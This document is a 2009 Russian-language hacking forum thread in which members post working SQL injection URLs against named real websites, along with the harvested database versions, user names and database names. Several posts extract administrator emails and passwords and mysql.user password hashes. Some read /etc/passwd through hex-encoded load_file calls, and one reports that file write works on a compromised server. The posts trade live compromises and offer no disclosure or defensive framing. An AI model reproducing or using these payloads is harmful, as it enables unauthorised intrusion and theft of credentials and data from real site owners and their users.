SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    106
    Likes Received:
    153
    Reputations:
    24
    Adt.com.tw pr5
    Bureau Veritas ADT *щито?
    Code:
    [COLOR=SlateGray]http://www.adt.com.tw/indexNewsData.phtml?NEWSID=1'+and+substring(version(),1,1)=3+--+[/COLOR]
    version: 3.23.58
    user: user1@localhost
    database: my_news
     
  2. Snap

    Snap Elder - Старейшина

    Joined:
    5 Feb 2007
    Messages:
    61
    Likes Received:
    33
    Reputations:
    -4
    http://www.red-army.ru
    Все о спорте, все о ЦСКА!

     
    1 person likes this.
  3. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Code:
    http://medzdirect.com/productdetail.php?id=-1+UNION+ALL+SELECT+1,version(),3,4,5,6,7,8,9,10,11,12--
    Code:
    http://medzdirect.com/productdetail.php?id=-1+UNION+ALL+SELECT+1,concat(table_name),3,4,5,6,7,8,9,10,11,12+FROM+information_schema.tables+LIMIT+22,1--
    Code:
    http://medzdirect.com/productdetail.php?id=-1+UNION+ALL+SELECT+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12+from+information_Schema.columns+where+table_name=0x68616c5f61646d696e6973747261746f7273--
    Code:
    http://medzdirect.com/productdetail.php?id=-1+UNION+ALL+SELECT+1,group_concat(emailid,0x3a,UserID,0x3a,Password),3,4,5,6,7,8,9,10,11,12+from+hal_administrators
     
    #10943 [underwater], 22 Oct 2009
    Last edited by a moderator: 22 Oct 2009
    3 people like this.
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    754
    Likes Received:
    649
    Reputations:
    251
    User: museums_fo@linux3.123hotel.dk
    Database: museums_foreningen_dk_db
    Version: 5.0.27-standard
     
    2 people like this.
  5. Bilyak

    Bilyak New Member

    Joined:
    14 Jul 2008
    Messages:
    24
    Likes Received:
    3
    Reputations:
    2
    Database Version: 4.1.25-log
    Database name: wwwlena_ivanovaru_tabacum
    User name: lenaivan@localhost

    Футбольная Трансферная Биржа

    Database Version: 4.1.22-log
    Database name: legion21
    User name: u_legion21@localhost

    Украинский Опель Клуб

    Database Version: 5.0.51a-log
    Database name: opelclub_phpmydirectory
    User name: opelclub_cards@localhost


    ТВ,Интернет Магазин "Як Барбі"

    Database Version: 4.0.27-standard-log
    Database name: I-shop
    User name: i-shop@localhost
     
    #10945 Bilyak, 22 Oct 2009
    Last edited: 23 Oct 2009
    3 people like this.
  6. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    754
    Likes Received:
    649
    Reputations:
    251
    Это в "Ваши вопросы по уязвимостям"


    User:tastselvwe@80.160.71.24
    Database:tastselvweb_dk_db
    Version:5.0.27-standard
     
  7. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    5.0.44-log:MySQLr00t@localhost
    http://nasrcityco.com/ar/newsdetails.php?id=-100+union+select+concat_ws(0x3a,version(),user()),2,concat_ws(0x3a,host,user,password,file_priv),4+from+mysql.user
    http://nasrcityco.com/ar/newsdetails.php?id=-100+union+select+load_file(0x2F6574632F706173737764),2,3,4
     
    1 person likes this.
  8. IgAlex

    IgAlex Member

    Joined:
    17 Nov 2008
    Messages:
    39
    Likes Received:
    27
    Reputations:
    8
    www.louvores.net

    Code:
    http://www.louvores.net/home.php?genres_parent=11+union+all+select+concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,2,3,4,5,6--
    user:louvores_root@localhost
    vers:5.0.81-community
    base:louvores_opial


    www.freerfmusic.com

    Code:
    http://freerfmusic.com/home.php?genres_parent=12+union+all+select+concat_ws%280x3a,version%28%29,database%28%29,user%28%29,2,3,4,5,6,7--
    user:freerfmu_llk@localhost
    vers:5.0.81-community
    base:freerfmu_mdb
     
    1 person likes this.
  9. hack-win32

    hack-win32 Member

    Joined:
    11 Oct 2009
    Messages:
    31
    Likes Received:
    37
    Reputations:
    1
    sportsbl@localhost:bolang:5.0.51b-enterprise-gpl
    Code:
    http://www.sportsbl.com/hot/mp3.php?ID=-10420+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7--


    hutorby_mp3@localhost:hutorby_mp3hits:4.1.22-standard

    Code:
    http://mp3hits.hutor.by/radionext-mp3.php?id=-6+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6--
    
     
    3 people like this.
  10. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    754
    Likes Received:
    649
    Reputations:
    251
    User: dbo109396152@212.227.127.130
    Database: db109396152
    Version: 4.0.27-max-log

    Чуть раньше постил о SQL на CMC.dk, вот ещё нашёл в одном месте.

    cmcdk2@light.securehosting.dk:cmcdk2:4.0.24-log
     
    #10950 Ctacok, 23 Oct 2009
    Last edited: 23 Oct 2009
  11. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    123
    Likes Received:
    82
    Reputations:
    11
    Code:
    http://[COLOR=Green]marina-look.com[/COLOR]/showimg.php?id=-123+union+select+1,concat_ws(char(58),user(),database(),version()),3,4--  
    MARINALOOK_DB01@LOCALHOST:MARINALOOK_DB01:4.1.22-STANDARD
    pr:3
     
  12. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    754
    Likes Received:
    649
    Reputations:
    251
    User: mandala@anvil.thebook.com
    Database: mandala
    Version: 4.1.20-standard-extsql-log


    User: colincoins@80.160.71.25
    Database: colincoinstitute_dk_db
    Version: 5.0.67-log
     
    2 people like this.
  13. I love this game

    I love this game Elder - Старейшина

    Joined:
    23 Dec 2008
    Messages:
    182
    Likes Received:
    38
    Reputations:
    18
    PR = 5

    _http://sdsb.lums.edu.pk/pages/sdsb_faculty_detail.php?id=-3+union+select+1,2,3,4,5,version(),7,8,9,10,11,12--

    4.0.20 7
     
    4 people like this.
  14. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    266
    Likes Received:
    150
    Reputations:
    28
    http://www.chu-cme.org/backoffice/newsletter/preview.php?id=15+UNION+SELECT+1,user(),3,4,5,6,7,8

    Database Version: 5.0.67
    Database name: chucme
    User name: chucme@localhost
     
    3 people like this.
  15. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    www.hackzone.ru
    ==================

    5.0.27-log : root@ : localhost : root : : Y
    http://www.manuals.ws/files/list.php?cat=-1+union+select++1,2,concat_ws(0x203a20,version(),user(),host,user,password,file_priv),4,5+from+mysql.user--
    http://www.manuals.ws/files/list.php?cat=-1+union+select+1,2,load_file(0x2f6574632f706173737764),4,5--

    В конфигах Апача пути до:
    ServerName cracks.hackzone.ru
    ServerName mbloc.hackzone.ru
    ServerName nod32.hackzone.ru
    ServerName www.hackzone.ru
    ServerName thecracks.us
    ServerName www.crackspider.de
    ServerName needcrack.us
    ServerName cracks.thebugs.us
    ServerName serials.thebugs.us
    ServerName www.crackway.com
    ServerName www.crackportal.com
    ServerName bestcracks.net

    и др.

    работает outfile.

    Посмотрел на Хакзону изнутри, полезно.
    Просьба, не вредить проекту.
     
    13 people like this.
  16. MaxRaziel

    MaxRaziel New Member

    Joined:
    23 Oct 2009
    Messages:
    1
    Likes Received:
    2
    Reputations:
    1
    http://www.aoya-hk.com/news.php?id=-1%20union%20select%201,user(),database(),4,5,6,7,8,9,10,11/*
     
    2 people like this.
  17. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    123
    Likes Received:
    82
    Reputations:
    11
    Code:
    http://www.jordan-home.net/current-news.php?news=-31+union+select+1,2,concat_ws(char(58),user(),database(),version()),4,5--  
    alla5sam_site@uk3.valuehost.co.uk:alla5sam_site:4.0.27-max-log
    Уязвимы все сайты от 21web.ru с mysql
     
    6 people like this.
  18. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    754
    Likes Received:
    649
    Reputations:
    251
    User: root@localhost
    Database: dbpetfoods
    Version: 5.0.27

    Version: 5.0.27

    На user() и database() отвечает ошибкой.
     
    #10958 Ctacok, 25 Oct 2009
    Last edited: 25 Oct 2009
    1 person likes this.
  19. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    http://www.alecto.dk/sider/index.php4?traeid=-481+union+select+hex(user())
    http://www.alecto.dk/sider/index.php4?traeid=-481+union+select+hex(database())
    root@localhost : dbalecto

    ---------------------

    5.0.51a-3ubuntu5.1 : root@10.2.22.101 : localhost : root : Y
    http://www.combatlifestyle.com/mov/view_movie.php?id=-1+union+select+1,2,3,concat_ws(0x203a20,version(),user(),host,user,password,file_priv),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+mysql.user--
    http://www.combatlifestyle.com/mov/view_movie.php?id=-1+union+select+1,2,3,load_file(0x2f6574632f706173737764),5,6,7,8,9,10,11,12,13,14,15,16,17,18--
     
    2 people like this.
  20. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    754
    Likes Received:
    649
    Reputations:
    251
    User: frederiksb@linux1.123hotel.dk
    Database: frederiksborgklinikken_dk_db
    Version: 4.1.22-standard
     
    1 person likes this.
Loading...
Thread Status:
Not open for further replies.